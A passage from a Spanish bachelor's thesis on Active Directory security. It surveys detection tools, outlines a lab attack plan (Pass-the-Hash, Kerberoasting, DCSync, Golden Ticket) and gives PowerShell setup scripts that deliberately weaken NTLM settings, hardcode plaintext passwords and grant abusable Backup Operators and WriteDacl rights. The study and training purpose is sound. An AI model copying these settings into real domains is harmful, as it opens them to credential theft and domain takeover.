and Souppaya, Murugiah and Scarato, Matthew, 2006).

• Análisis y almacenamiento de registros: La segunda capa está compuesta por uno

o más servidores que reciben los datos de registros de los equipos en la primera capa.
Una vez aquí, los datos de registros se almacenan en los propios servidores receptores o
en servidores de bases de datos separados (Kent, Karen and Souppaya, Murugiah and
Scarato, Matthew, 2006).

• Monitorización de registros: Esta tercera capa contiene las consolas utilizadas para
monitorizar y revisar los datos de registro y el resultado de los análisis automáticos sobre
dichos datos (Kent, Karen and Souppaya, Murugiah and Scarato, Matthew, 2006).

2.5.2 Soluciones de detección y respuesta

Con el escenario actual de amenazas sofisticadas y técnicas avanzadas de evasión, como in-
trusiones sin malware en memoria, uso de herramientas del propio sistema o diversas técnicas
de persistencia altamente complejas de detectar, se ha hecho evidente la necesidad de una
detección proactiva y respuesta automatizada. Soluciones tradicionales como Antivirus (AV),
que detectan malware a partir de hashes ya conocidos, nos son eficaces contra malware con
capacidades polimórficas o alojamiento en memoria principal (fileless). Otro ejemplo son los
cortafuegos perimetrales, tradicionalmente utilizados para definir límites entre redes (inter-
nas, externas, desmilitarizadas), no tienen ninguna capacidad para actuar contra amenazas
internas o técnicas de ataque en equipos ya comprometidos dentro del entorno.

Ante esta situación, a lo largo de los últimos años, diversas perspectivas y herramientas
han surgido con el objetivo de mejorar la visibilidad de la superfície de ataque de la infraes-
tructura utilizada y la capacidad de reacción ante posibles amenazas.

Las herramientas que describiré a continuación, consituyen el núcleo de numerosas estrate-

gias de seguridad destinadas a potenciar la detección y capacidad de reacción de los equipos
Blue Team frente a amenazas que burlan las medidas de seguridad más tradicionales.

[Link] Endpoint detection and response (EDR)

Los endpoints de detección y respuesta (del inglés, endpoint detection and response), son
soluciones de ciberseguridad que capturan toda actividad en dichos endpoints (servidores,
estaciones de trabajo, etc), la analizan en tiempo real para detectar actividad anómala, aler-
tar al equipo Blue Team y proponer soluciones de respuesta (Luke Hunsinger, 2025). Estas
sugerencias de respuesta incluyen diversas formas de detener un ataque en curso o evitar que
22 Estado del arte

se propague por el resto de sistemas.

Los EDRs utilizan multitud de técnicas para detectar actividad sospechosa, como la moni-
torización de procesos y conexiones o la búsqueda de ficheros maliciosos. Algunas soluciones
muy populares son CrowdStrike Falcon, Windows Defender para Endpoints o SentinelOne.

[Link] Network detection and response (NDR)

Las soluciones de detección y respuesta a nivel de red se encargan de detectar comporta-
mientos anómalos aplicando análisis de comportamiento, mediante tecnologías como DPI7 , al
tráfico de red. Estas soluciones analizan los paquetes que circulan en las redes internas y entre
las redes internas y externas. Además incluyen funcionalidades de respueta automática como
la contención de hosts o el bloqueo de tráfico, directamente o a través de otras herramientas
de defensa cibernética (Gartner, Inc., 2025).

La herramienta Darktrace, muy conocida por su enfoque de la inteligencia artifical, es

ampliamente utilizada en infraestructuras críticas debido a su gran capacidad de identificación
de comportamientos anómalos en redes internas y su adaptabilidad a cualquier infraestructura
de red.

[Link] Extended detection and response (XDR)

Las distintas tecnologías de ciberdefensa que existen en el mercado trabajan en varias ca-
pas: mail, red, aplicación, nube, etc. Las soluciones de detección y respuesta extendidas se
encargan de agilizar la ingestión de los datos recibidos de cada capa de la infraestructura y del
análisis del eje de seguridad de una organización, incrementando la visibilidad de amenazas
ocultas y sofisticadas. Los XDR normalizan el formato de los datos de seguridad de distintas
fuentes a través de una consola única para su posterior entrega a los equipos SOC (Luke
Hunsinger, 2025).

Por ejemplo, las soluciones EDR supervisan los endpoints, mientras que las NDR son
soluciones que actúan únicamente a nivel de red. Con un XDR, podemos unificar e integrar
estos datos para aportar una visibilidad completa y precisa de la situación actual en materia de
seguridad de la organización. En cuanto a fabricantes de estos sistemas, nos encontramos los
mismos que en los EDR: CrowdStrike Falcon XDR, Microsoft Defender XDR o SentinelOne
Singularity XDR.

[Link] Managed detection and response (MDR)

Las soluciones de detección y respuesta gestionadas se definen como seguridad de endpoints
’as a service’. Utilizan las 3 soluciones de seguridad previamente descritas, entre otras, para
proporcionar un solución de seguridad integral de la infraestructura.

7
La inspección profunda de paquetes (DPI), también conocida como detección de paquetes, es un método
para examinar el contenido de los paquetes de datos a medida que pasan por un punto de control en la red
(Fortinet, 2025b).
2.5. Estado de la defensa en entornos corporativos 23

La principal ventaja de los MDRs es su rapidez a la hora de identificar y limitar rápidamente

el impacto de las amenazas en empresas con poco personal. Esto es muy importante, debido
a la escasez de profesionales de la seguridad altamente cualificados, sobre todo en lo que
respecta a protección de sistemas y activos basados en la nube (Luke Hunsinger, 2025). Estos
sistemas nos permiten delegar gran parte de la seguridad de nuestra organización a empresas
reputadas como CrowdStrike, Microsft, Palo Alto Networks o SentinelOne.

2.5.3 Estrategias de detección

Durante los años 80, se empezaron a implementar soluciones de ciberseguridad, en infra-
estructuras militares y civiles, que utilizaban mecanismos de detección por firma. Estos
mecanismos dependían directamente de patrones conocidos usados por código malicioso, co-
mo hashes de ficheros, el propio código, cadenas de caracteres, etc. Aunque eficaces contra
malware ya conocido, esta estrategia de detección por firmas era totalmente inútil contra
amenazas más avanzadas, como ataques sin uso de memoria física (fileless) o software mali-
cioso modificado.

Con el paso del tiempo, los profesionales de la seguridad defensiva se dieron cuenta de las
carencias que tenía esta estrategia a la hora de combatir amenazas sofisticadas. En 1987,
Dorothy Denning publica un artículo muy influyente denominado An Intrusion-Detection
model, en el que plantea una estrategia de detección basada en análisis de comportamiento
y heurística. Sin embargo, no es hasta la década de los 90, que se empiezan a implementar
soluciones IDS (del inglés, Intrusion Detection System), que utilizaban análisis comporta-
mentales y heurísticos para identificar amenazas potenciales sin firmas exactas.

En esta sección, abordaremos estas dos estrategias fundamentales que coexisten en los
sistemas de seguridad defensiva actuales. Sin embargo, se puede afirmar que es imposible
diseñar un algoritmo que sea capaz de detectar todo el malware. Esto es porque el problema
de detectar malware ha demostrado ser NP-completo en muchos estudios (Aslan, Ömer Aslan
and Samet, Refik, 2020).

[Link] Detección por firma

La estrategia de detección basada en firmas es una de las tácticas fundamentales usadas
en el análisis de malware. Este enfoque está basado en la comparación de objetos potencial-
mente maliciosos (procesos, ficheros, etc) y patrones previamente identificados como malware
almacenados en una base de datos.

Entre las técnicas más utilizadas para este tipo de detección se encuentran los hashes crip-
tográficos. Un hash es el resultado de aplicar cifrado irreversible a un objeto de datos de tipo
ASCII o binario. Este cifrado transforma dicho objeto en una cadena de texto encriptada,
usando una función matemática de tal manera que el objeto original no pueda se recuperado
a partir de la cadena encriptada. Cada objeto tiene un único hash, lo que implica que la
más mínima modificación del objeto original resulta en un hash completamente diferente.
Estas características hacen de este tipo de cifrado, un método viable para la verificación de
24 Estado del arte

integridad y el análisis de malware.

Estos hashes permiten a los analistas comparar rápidamente un objeto potencialmente ma-
licioso con una base de datos de hashes de malware conocido (Aditya Bhatt, 2025). Utilizar
esta tećnica conlleva un gasto computacional bajo, ya que no requiere ejecución y hace uso
de tecnologías de bases de datos, haciéndolo seguro y eficiente. Una de las herramientas más
conocidas es VirusTotal ([Link] un servicio online que nos permite
analizar ficheros sospechosos, URLs, dominio y direcciones IPs para detectar malware.

Otra técnica muy utilizada es la búsqueda de cadenas de texto o bytes específicos en fiche-
ros binarios o scripts. Se conoce como ’pattern matching’ y hace uso de expresiones regulares
o ciertos patrones en formato binario.

Si bien es cierto que el uso de esta estrategia conlleva muchas ventajas tiene grandes limita-
ciones. Por ejemplo, ante el uso de vulnerabilidades de día cero8 por parte de actores estado,
ataques en memoria RAM (fileless) o el uso de malware polimórfico hace completamente
inútil esta estrategia.

[Link] Detección heurística y comportamental

La detección heurístico-comportamental se centra en observar el contexto y las acciones
realizadas por los distintos objetos presentes en un sistema, para identificar esas amenazas
potenciales que pueden poner el riesgo la seguridad de dicho sistema o red. A diferencia de
la detección por firma, aunque el código fuente del malware cambie, el comportamiento de
éste será similar, en consecuencia, nuevo malware puede ser detectado mediante este método
(O. Aslan and R. Samet, 2017).

Este tipo de detección utiliza diversas técnicas para detectar exitosamente acciones mali-
ciosas. Entre ellas nos encontramos las siguientes:
• Monitorización de procesos: Los softwares de detección, observan el comportamiento de
los procesos en tiempo de ejecución y determinan si están realizando acciones sospecho-
sas.
• Monitorización de llamadas al sistema (syscalls): Mediante la intercepción y el análisis
de las llamadas la sistema realizadas por los procesos, se puede detectar amenazas
potenciales.
• Monitorización a nivel de red: Analizando el tráfico de red, se puede identificar patrones
usados por malware como protocolos inesperados o conexiones recurrentes a servidores
externos.
• Análisis mediante entornos aislados (sandbox): Esta técnica consiste en la ejecución del
software sospechoso en entornos virtuales aislados para observar su comportamiento sin
afectar al sistema real.
8
Las vulnerabilidades de día cero (o zero-day) son aquellas conocidas por determinados atacantes pero no
por los fabricantes o por los usuarios. Son las más peligrosas ya que un atacante puede explotarlas sin que
el usuario sea consciente de que es vulnerable (Centro Criptológico Nacional, 2015).
2.5. Estado de la defensa en entornos corporativos 25

En la literatura, el enfoque de detección basado en comportamiento y sus métodos rela-

cionados han sido ampliamente estudiados. Este esquema de detección basado en comporta-
miento consiste en 3 pasos: determinar el comportamiento, extraer características de dicho
comportamiento y clasificarlo (Aslan, Ömer Aslan and Samet, Refik, 2020).

Una de las principales desventajas de esta detección son los falsos positivos. Debido a
las técnicas utilizadas previamente descritas, es posible que un determinado objeto de un
sistema sea clasificado como malicioso cuando en realidad, el motivo de dicha clasificación es
una funcionalidad legítima. Estos falsos positivos causan muchos problemas a los analistas de
seguridad ya que deben revisarlos y clasificarlos como legítimos. La problemática es mayor
cuando no hay intermediario entre el sistema de detección y la acción a llevar a cabo para
solventar la amenaza, ya que puede conllevar una interrupción de servicios y bloqueos de
procesos o usuarios innecesarios.
3 Metodología
En este proyecto, se analizará de forma práctica la seguridad de un entorno de Directorio
Activo. Las simulaciones de ataques reales se llevarán a cabo en un entorno de pruebas con-
trolado y se analizarán sus efectos sobre el Directorio Activo. Se partirá de la premisa de que
se ha logrado un acceso inicial a la red y tenemos unas credenciales de dominio.

Para garantizar la reproducibilidad del entorno, se utilizarán scripts de PowerShell para

establecer los bosques, dominios, y otros objetos del AD. Esto permitirá que se pueda crear
un entorno similar de una forma semi-automática, lo que simplificará la configuración de
escenarios de ataque con la menor intervención manual posible.

3.1 Tipo de investigación

Este proyecto combina un enfoque práctico y teórico del ámbito de la seguridad de la in-
formación en entornos de Directorio Activo. Como consecuencia, el tipo de investigación es
aplicado-experimental, ya que integraremos tanto metodologías experimentales como analí-
ticas.

Por un lado, sigue una metodología de investigación práctica, enfocada en la simulación

de adversario dentro de un entorno virtualizado y aislado. Configuraremos un laboratorio de
Active Directory para atacar y defender dicho entorno corporativo. También, generaremos so-
luciones específicas de endurecimiento basadas en algunas de la técnicas de ataque realizadas.

Por otro lado, combinaremos metodologías cualitativas, como la evaluación de técnicas tan-
to de ataque como de defensa del framework MITRE ATT&CK, con metodologías cuantitativas,
como la eficiacia del endurecimiento aplicado.

Este enfoque híbrido combina la experimentación práctica con el rigor académico para
ofrecer una perspectiva integral de la seguridad de un entorno de Active Directory. Este tipo
de investigación nos permitirá:

• Validación teórica de diversas técnicas de ataque mediante el uso de estándares reco-

nocidos a nivel nacional.

• Contribución al marco téorico actual con sugerencias aplicables a entornos de Active

Directory basadas en simulaciones de amenazas realistas.

• Demostración de la efectivdad de ciertas técnicas de ataque llevadas a cabo sobre un

entorno aislado y controlado.

27
28 Metodología

3.2 Planificación del proyecto

Siguiendo una metodología ágil basada en iteraciones semanales y entregables parciales, se
ha estructurado el desarrollo del Trabajo de Fin de Grado en una serie de hitos claramente
definidos. Esta planificación permite avanzar de forma progresiva en el análisis y ejecución
de técnicas ofensivas y defensivas sobre un entorno Active Directory, favoreciendo la adap-
tación continua, la revisión temprana de resultados y la mejora incremental del proyecto. A
continuación, se detalla el cronograma desde la fase de configuración del entorno hasta la
finalización del informe y la preparación de la defensa.

• Semana 1–2 (3 feb - 16 feb)

– Instalación y configuración del entorno de laboratorio en máquinas virtuales:
∗ Dominio raíz: [Link] y su controlador de dominio (DC00).
∗ Subdominio: [Link] con su DC (DC01) y una estación de
trabajo (WS01).
∗ Subdominio: [Link] con su DC (DC03).
∗ Máquina atacante: Kali Linux.
– Documentación de topología y conectividad.

• Semana 3 (17 feb - 23 feb)

– Ataque inicial a WS01 con usuario lucas mediante Pass-The-Hash.
– Drop de fichero .lnk/.scf en recurso SMB.
– Captura de hash NetNTLMv2 con Responder (envenenamiento LLMNR).

• Semana 4 (24 feb - 2 mar)

– Realización de NTLM relay para acceso a WS01.
– Establecimiento de persistencia mediante modificación de registros.

• Semana 5 (3 mar - 9 mar)

– Acceso a DC01 con sqlservice.
– Ejecución de ataque Kerberoasting, obtención de TGS y crackeo offline.

• Semana 6 (10 mar - 16 mar)

– Escalada de privilegios: abuso del grupo Backup Operators.
– Extracción de SAM y [Link].

• Semana 7 (17 mar - 23 mar)

– Acceso como Administrador a DC01.
– Snapshot del dominio con ADExplorer.
– Análisis con BloodHound.

• Semana 8 (24 mar - 30 mar)

3.3. Infraestructura del AD 29

– Uso de DCSync desde DC01 al dominio raíz [Link].

– Creación de Golden Ticket.
– Acceso como Administrador a DC01 mediante Pass-The-Ticket.

• Semana 9 (31 mar - 6 abr)

– Ataque a DC03 en [Link].

• Semana 10–11 (7 abr - 20 abr)

– Inicio de la fase defensiva: desarrollo de scripts PowerShell de endurecimiento.

• Semana 12 (21 abr - 27 abr)

– Desarrollo del sistema de detección:
∗ Identificación de eventos relevantes en el Visor de Eventos de Windows.
∗ Agrupación de IDs de evento según técnicas ofensivas anteriores.

• Semana 13 (28 abr - 4 may)

– Estrategias de respuesta:
∗ Contención de accesos comprometidos.
∗ Erradicación de persistencias detectadas.
∗ Restauración de estados seguros y procedimientos de recuperación.

• Semana 14–15 (5 may - 11 may)

– Revisión general del proyecto y elaboración del informe final.
– Documentación detallada de fases, hallazgos, scripts, eventos y respuesta.
– Preparación de la defensa del TFG.

3.3 Infraestructura del AD

En el laboratorio de pruebas se configurará una infraestructura de directorio activo com-
puesta por un único bosque llamado [Link]. En este bosque se implementarán los
siguientes dos dominios:

• [Link]

• [Link]

Para gestionar adecuadamente nuestro entorno AD, se desplegarán 3 servidores con el rol
de controlador de dominio:

• DC01: Administrará el dominio [Link] y proporcionará la autorización

y autenticación necesarias en los recursos de este dominio.

• DC02: Se encargará de la gestión del dominio [Link].

30 Metodología

Figura 3.1: Infraestructura del entorno de pruebas de Directorio Activo

• DC03: Gestionará la infraestructura general del AD y la configuración general del bosque

[Link].

También tendremos la siguiente estación de trabajo:

• WS01 para [Link]

La infraestructura interna de la red estará constituida por dos segmentos de red, uno por
cada dominio [Link] y [Link]. Por un lado, el controla-
dor de dominio raíz (DC03) tendrá tres interfaces de red: una conectada a ambos controladores
de dominio, una conectada a la red del dominio de Madrid y otra al dominio de Alicante.

Por otro lado, los controladores de dominio de Madrid y Alicante contarán con dos in-
terfaces de red: una interna para su dominio y otra compartida entre los otros DCs de la
infraestructura. La estación de trabajo, contará con una interfaz de red conectada a su res-
pectiva red interna (la del dominio de Madrid) y otra interfaz contectada a una red exterior.

Cada controlador de dominio actuará como servidor de nombres DNS para su propio do-
minio. El servidor raíz del bosque [Link] almacenará los registros DNS de los dos
dominios hijos. Los controladores de dominio hijo tendrán los registros DNS de su propio
dominio, y reenviarán las consultas al servidor DNS del bosque. Esta configuración garantiza
una autenticación eficiente, una resolución de nombres rápida en cada dominio y proporciona
redundancia en los datos.
3.3. Infraestructura del AD 31

DC=madrid,DC=empresa,DC=local

OU=Usuarios OU=Equipos

CN=sqlservice OU=developers OU=sales CN=DC01 CN=WS01

CN=lucas

Figura 3.2: Árbol LDAP del dominio [Link]

DC=alicante,DC=empresa,DC=local

CN=Usuarios OU=Equipos

OU=developers OU=sales CN=DC02

CN=maria

Figura 3.3: Árbol LDAP del dominio [Link]

3.3.1 Árbol LDAP del directorio

El bosque [Link] constituirá el nodo raíz de nuestro árbol LDAP (en las figuras
3.2 y 3.3 se ha omitido por simplificación).

Por un lado, en el árbol LDAP del dominio de Madrid 3.2 observamos las OUs developers
y sales, con un único usuario lucas en la OU developers. Además tenemos la estación de
trabajo WS01 y el controlador de dominio DC01, previamente mencionados. Por otro lado, en
el árbol LDAP del dominio de Alicante 3.3 podemos encontrar las mismas unidades organiza-
tivas, un usuario llamado maria en la OU sales, y sus respectivos controladores de dominio
y estaciones de trabajo.

3.3.2 Despliegue del laboratorio

Para el despliegue del entorno de Directorio Activo virtualizado se utilizará libvirt, para
gestionar las máquinas virtuales de forma eficiente. El servicio DHCP será gestionado por
este hipervisor, lo que permitirá una asignación automática y centralizada de direcciones IP
en el entorno virtual, sin la necesidad de configurar un servidor DHCP en la infraestructura
32 Metodología

del directorio. Se usará la interfaz gráfica virt-manager para la administración de nuestras

máquinas y redes virtuales. La configuración del Directorio Activo se realizará mediante co-
mandos PowerShell, permitiendo que nuestro entorno sea reproducible en redes y equipos
similares.

Para que el laboratorio funcione de forma óptima, se desplegarán los siguientes recursos
para alojar las máquinas virtuales:

• Controladores de dominio: 4GB de memoria principal y 2 CPUs virtuales.

• Estación de trabajo: 3GB de memoria principal y 2 CPUs virtuales.

• Equipo atacante: 6GB de memoria principal y 3 CPUs virtuales.

Como sistema operativo, los controladores de dominio usarán Windows Server 2019 mien-
tras que para las estación de trabajo hemos optado por Windows 10 Pro. En el caso de la
máquina atacante usaremos Kali Linux 2025 1a que contiene la mayoría de herramientas
que utilizaremos en nuestra simulación de adversario ya preinstaladas.

[Link] Configuración inicial

Para la configuración del bosque, debemos instalar los servicios de Active Directory Do-
main Services (AD DS) en nuestro Windows Server. Con la flag -IncludeManagementTools
instalaremos algunas herramientas de administración y gestión de nuestro Directorio Activo.
Además, debemos instalar nuestro bosque con un dominio raíz ([Link]) y especificar
las distintas rutas en nuestro servidor donde guardaremos la base de datos del AD, los logs
y volumen de políticas de grupo (SYSVOL).
Código 3.1: Script de configuración del bosque en DC03

1 Install-WindowsFeature AD-Domain-Services -IncludeManagementTools

2
3 Install-ADDSForest -DomainName "[Link]" `
4 -DomainMode WinThreshold `
5 -ForestMode WinThreshold `
6 -InstallDNS `
7 -DatabasePath "C:\Windows\NTDS" `
8 -LogPath "C:\Windows\NTDS\Logs" `
9 -SysvolPath "C:\Windows\SYSVOL" `
10 -NoRebootOnCompletion:$false `
11 -Force

Tras el reinicio correspondiente de nuestro controlador de dominio, debemos agregar dos de-
legaciones de zona DNS. Esto nos permitirá tener una administración distribuida del DNS en-
tre cada uno de los dominios de nuestra red. Para ello debemos especificar la dirección IP de los
controladores de dominio: [Link] y [Link].
Código 3.2: Configuración DNS de nuestros dominios

1 Add-DnsServerZoneDelegation -Name "[Link]" `

3.3. Infraestructura del AD 33

2 -ChildZoneName "madrid" `
3 -NameServer "[Link]" `
4 -IPAddress "[Link]"
5
6 Add-DnsServerZoneDelegation -Name "[Link]" `
7 -ChildZoneName "alicante" `
8 -NameServer "[Link]" `
9 -IPAddress "[Link]"

Hecho esto, ya se pueden instalar los servicios de Active Directory y configurar un nuevo
dominio hijo [Link] en el controlador de dominio DC01. La hora del sistema
debe ser sincronizada con el comando w32tm para evitar problemas de replicación entre los
controladores de dominio. Se configurará el DNS con delegación y se definirán las rutas
necesarias para el correcto funcionamiento de nuestros dominios:
Código 3.3: Script de configuración del dominio [Link] en DC01

1 w32tm /resync /rediscover

2 w32tm /query /status
3
4 Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
5
6 Set-DnsClientServerAddress -InterfaceAlias "Instancia de Ethernet 0 2" `
7 -ServerAddresses "[Link]"
8
9 $cred = New-Object [Link] `
10 ("[Link]\Administrador", `
11 (ConvertTo-SecureString "MachoHercules123!" -AsPlainText -Force))
12
13 Install-ADDSDomain -ParentDomainName "[Link]" `
14 -NewDomainName "madrid" `
15 -InstallDNS -CreateDnsDelegation:$true `
16 -DatabasePath "C:\Windows\NTDS" `
17 -Credential $cred `
18 -LogPath "C:\Windows\NTDS\Logs" `
19 -SysvolPath "C:\Windows\SYSVOL" `
20 -NoRebootOnCompletion:$false `
21 -Force

De forma análoga, ejecutaremos el script equivalente en DC02 para configurar el dominio

[Link]:
Código 3.4: Script de configuración del dominio [Link] en DC02

1 w32tm /resync /rediscover

2 w32tm /query /status
3

4 Install-WindowsFeature AD-Domain-Services -IncludeManagementTools

5
6 Set-DnsClientServerAddress -InterfaceAlias "Instancia de Ethernet 0 2" `
7 -ServerAddresses "[Link]"
8
9 $cred = New-Object [Link] `
34 Metodología

10 ("[Link]\Administrador", `
11 (ConvertTo-SecureString "MachoHercules123!" -AsPlainText -Force))
12
13 Install-ADDSDomain -ParentDomainName "[Link]" `
14 -NewDomainName "alicante" `
15 -InstallDNS -CreateDnsDelegation:$true `
16 -DatabasePath "C:\Windows\NTDS" `
17 -Credential $cred `
18 -LogPath "C:\Windows\NTDS\Logs" `
19 -SysvolPath "C:\Windows\SYSVOL" `
20 -NoRebootOnCompletion:$false `
21 -Force

[Link] Dominio [Link]

En el controlador de dominio DC03 debemos añadir el usuario Administrador del dominio
[Link] al grupo Enterprise Admins. Cabe decir que este grupo viene ya
creado por defecto en nuestro dominio (built-in).
Código 3.5: Script de configuración del dominio [Link]

1 New-ADTrust `
2 -Name "[Link]" `
3 -TargetDomain "[Link]" `
4 -Direction Bidirectional `
5 -TrustType "Domain" `
6 -TrustTransitive $true `
7 -Server [Link]
8
9 $cred = New-Object [Link] (
10 "[Link]\Administrador",
11 (ConvertTo-SecureString "MachoHercules123!" -AsPlainText -Force)
12 )
13
14 Add-ADGroupMember -Identity "CN=Administrador,CN=Users,DC=madrid,DC=empresa,DC←-
,→ =local" `
15 -Members "CN=Administradores de empresas,CN=Users,DC=empresa,DC=local" `
16 -Server [Link] `
17 -Credential $cred
18
19 Enable-PSRemoting -Force

[Link] Dominio [Link]

Se deben crear las unidades organizativas descritas en la figura 3.2 con los siguientes co-
mandos PowerShell con el usuario Administrador de dominio:
Código 3.6: Creación de las unidades organizativas en [Link]

1 New-ADOrganizationalUnit -Name "Equipos" `

2 -Path "DC=madrid,DC=empresa,DC=local"
3.3. Infraestructura del AD 35

3
4 New-ADOrganizationalUnit -Name "Usuarios" `
5 -Path "DC=madrid,DC=empresa,DC=local"
6
7 New-ADOrganizationalUnit -Name "Developers" `
8 -Path "OU=Usuarios,DC=madrid,DC=empresa,DC=local"
9

10 New-ADOrganizationalUnit -Name "Sales" `

11 -Path "OU=Usuarios,DC=madrid,DC=empresa,DC=local"

Vamos a crear 2 usuarios en este dominio. El usuario lucas simulará un usuario humano
que iniciará sesión en el dominio. El usuario SQL_Service se trata de una cuenta de servicio
usada por SQL Server para autenticarse en el dominio.
Código 3.7: Creación de los usuarios en el dominio [Link]

1 New-ADUser -Name "Lucas" `

2 -SamAccountName "lucas" `
3 -UserPrincipalName "lucas@[Link]" `
4 -Path "OU=Developers,OU=Usuarios,DC=madrid,DC=empresa,DC=local" `
5 -AccountPassword (ConvertTo-SecureString "MachoHercules123!" -AsPlainText ←-
,→ -Force) `
6 -Enabled $true
7
8 New-ADUser -Name "SQL_Service" `
9 -SamAccountName "sqlservice" `
10 -ServicePrincipalNames "MSSQLSvc/[Link]" `
11 -Path "OU=Usuarios,DC=madrid,DC=empresa,DC=local" `
12 -AccountPassword (ConvertTo-SecureString "NotMyPassword0k?" -AsPlainText ←-
,→ -Force) `
13 -Enabled $true

Este usuario vamos a agregarlo al grupo Operadores de copia de seguridad para abusar
de la pertencias a dicho grupo durante la operación de Red Team:
Código 3.8: Adición del usuario sqlservice al grupo Backup Operators

1 Add-ADGroupMember -Identity "Operadores de copia de seguridad" `

2 -Members "sqlservice" `
3 -Server "[Link]"

Por último, vamos a habilitar la configuración remota PSRemoting, RDP y la autenticación

NTLM:
Código 3.9: Script de configuración del controlador de dominio DC01

1 Enable-PSRemoting -Force
2

3 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" ←-

,→ -Name "NtlmMinServerSec" -Value 512
4 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" ←-
,→ -Name "RestrictSendingNTLMTraffic" -Value 0
5
6 Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server←-
36 Metodología

,→ ' -Name "fDenyTSConnections" -Value 0

7 Enable-NetFirewallRule -DisplayGroup "Escritorio remoto"
8 Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server←-
,→ \WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1

[Link] Dominio [Link]

Siguiendo el esquema del árbol LDAP 3.2, vamos a crear las siguientes OUs:
Código 3.10: Creación de las unidades organizativas en [Link]

1 New-ADOrganizationalUnit -Name "Equipos" `

2 -Path "DC=alicante,DC=empresa,DC=local"
3
4 New-ADOrganizationalUnit -Name "Usuarios" `
5 -Path "DC=alicante,DC=empresa,DC=local"
6
7 New-ADOrganizationalUnit -Name "Developers" `
8 -Path "OU=Usuarios,DC=alicante,DC=empresa,DC=local"
9
10 New-ADOrganizationalUnit -Name "Sales" `
11 -Path "OU=Usuarios,DC=alicante,DC=empresa,DC=local"

Además vamos a otorgarle el permiso WriteDacl al usuario Administrador de dominio

del dominio de Madrid. Este permiso es una práctica de configuración habitual que se suele
utilizar para la administración de un bosque multi-dominio.
Código 3.11: Permiso WriteDacl al domain admin de Madrid sobre el dominio de Alicante

1 $madridSID = (Get-ADUser "Administrador" -Server "[Link]").SID

2
3 $acl = Get-Acl "AD:\DC=alicante,DC=empresa,DC=local"
4 $[Link]((
5 New-Object [Link] (
6 $madridSID,
7 "WriteDacl",
8 "Allow"
9 )
10 ))
11 Set-Acl -Path "AD:\DC=alicante,DC=empresa,DC=local" -AclObject $acl

[Link] Estación de trabajo

Como no tenemos conexión a Internet, se descargará la suite SysInternals del equipo
anfitrión.
Código 3.12: Descarga de la suite SysInternals en la estación de trabajo

1 $sysinternals_url = "[Link]
2 $extract_path = "C:\SysInternals"
3
4 New-Item -Path $extract_path -ItemType Directory
3.3. Infraestructura del AD 37

5
6 Invoke-WebRequest -Uri $sysinternals_url `
7 -OutFile "$extract_path\[Link]"
8
9 Expand-Archive -Path "$extract_path\[Link]" `
10 -DestinationPath $extract_path
11

12 Remove-Item -Path "$extract_path\[Link]"

Hecho esto, vamos a añadir la estación de trabajo WS01 a nuestro dominio de Madrid.
Código 3.13: Adición de la estación de trabajo al dominio [Link]

1 Set-DnsClientServerAddress -InterfaceAlias "Instancia de Ethernet 0" `

2 -ServerAddresses "[Link]"
3
4 $cred = (New-Object [Link] `
5 ("[Link]\Administrador", `
6 (ConvertTo-SecureString "MachoHercules123!" -AsPlainText -Force)))
7
8 Add-Computer -DomainName "[Link]" `
9 -OUPath "OU=Equipos,DC=madrid,DC=empresa,DC=local" `
10 -Credential $cred `
11 -Restart

Con el siguiente código PowerShell, se creará un recurso compartido a nivel de red usando el
protocolo SMBv2. Todos los usuarios tendrán permisos de lectura, y se concederán permisos
de lectura y escritura al usuario lucas.
Código 3.14: Creación del recurso compartido SMB en [Link]

1 New-Item -Path "C:\CarpetaCompartida" `

2 -ItemType Directory `
3 -Force
4
5 New-SmbShare -Name "CarpetaCompartida" `
6 -Path "C:\CarpetaCompartida"
7

8 Grant-SmbShareAccess -Name "CarpetaCompartida" `

9 -AccountName "madrid\lucas" `
10 -AccessRight Full `
11 -Force

Por último, habilitaremos la autenticación NTLM y el protocolo WinRM para configuración

remota:
Código 3.15: Configuración de la estación de trabajo WS01 en el dominio de Madrid

1 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "←-

,→ DisableLoopbackCheck" -Value 1
2 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" ←-
,→ -Name "NtlmMinServerSec" -Value 512
3 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" ←-
,→ -Name "RestrictSendingNTLMTraffic" -Value 0
38 Metodología

4
5 $cred = ConvertTo-SecureString "MachoHercules123!" -AsPlainText -Force
6 Enable-LocalUser -Name "Administrador"
7 Set-LocalUser -Name "Administrador" -Password $cred
8 Add-LocalGroupMember -SID "S-1-5-32-580" -Member "Administrador"
9
10 Start-Service winrm
11 netsh advfirewall firewall add rule name="WinRM-HTTP" dir=in localport=5985 ←-
,→ protocol=TCP action=allow
12
13 Restart-Computer -Force

3.4 Alcance del estudio

En este proyecto, se analizará todo el proceso de compromiso total de un entorno de Di-
rectorio Activo desde la persepectiva de que, como atacantes, ya hemos logrado acceder a la
red interna. No se abordará ninguna técnica, táctica ni procedimiento de intrusión desde el
exterior. Se asumirá que ya se ha logrado establecer una presencia en el entorno corporativo,
teniendo acceso a un equipo unido a uno de los dominios. Bajo esta premisa, nos centra-
remos en las siguientes tácticas de post-explotación para expandir nuestro control sobre la
infraestructura: escalado de privilegios, movimiento lateral y despliegue de persistencias.

3.4.1 Suposiciones
Aunque no se realizará la fase de intrusión inicial, se considera que los siguientes vectores
de ataque pueden habernos dado ese acceso a la red interna antes mencionado:

• Spear phishing: Un ataque podría enviar un mail dirigido a un usuario del dominio
suplantando la identidad de otro usuario. Este mail contendría un archivo adjunto
malicioso que ejecute código en el equipo de la víctima o un enlace a una web de
phishing1 que solicite credenciales de acceso.

• Reutilización de credenciales: Los usuarios son propensos a reutilizar sus contra-

señas en múltiples servicios. Un atacante podría haber obtenido unas credenciales de
dominio válidas gracias a una filtración de bases de datos de organizaciones externas
que hayan sido vulneradas.

• Acceso físico: Mediante el acceso físico a las oficinas del objetivo, podemos haber
obtenido un punto de acceso inicial para empezar nuestra operativa de compromiso del
entorno.

• Abuso de relaciones de confianza: Un determinado dominio o bosque en un AD,

puede mantener una relación de confianza (ya sea unidireccional o bidireccional) con
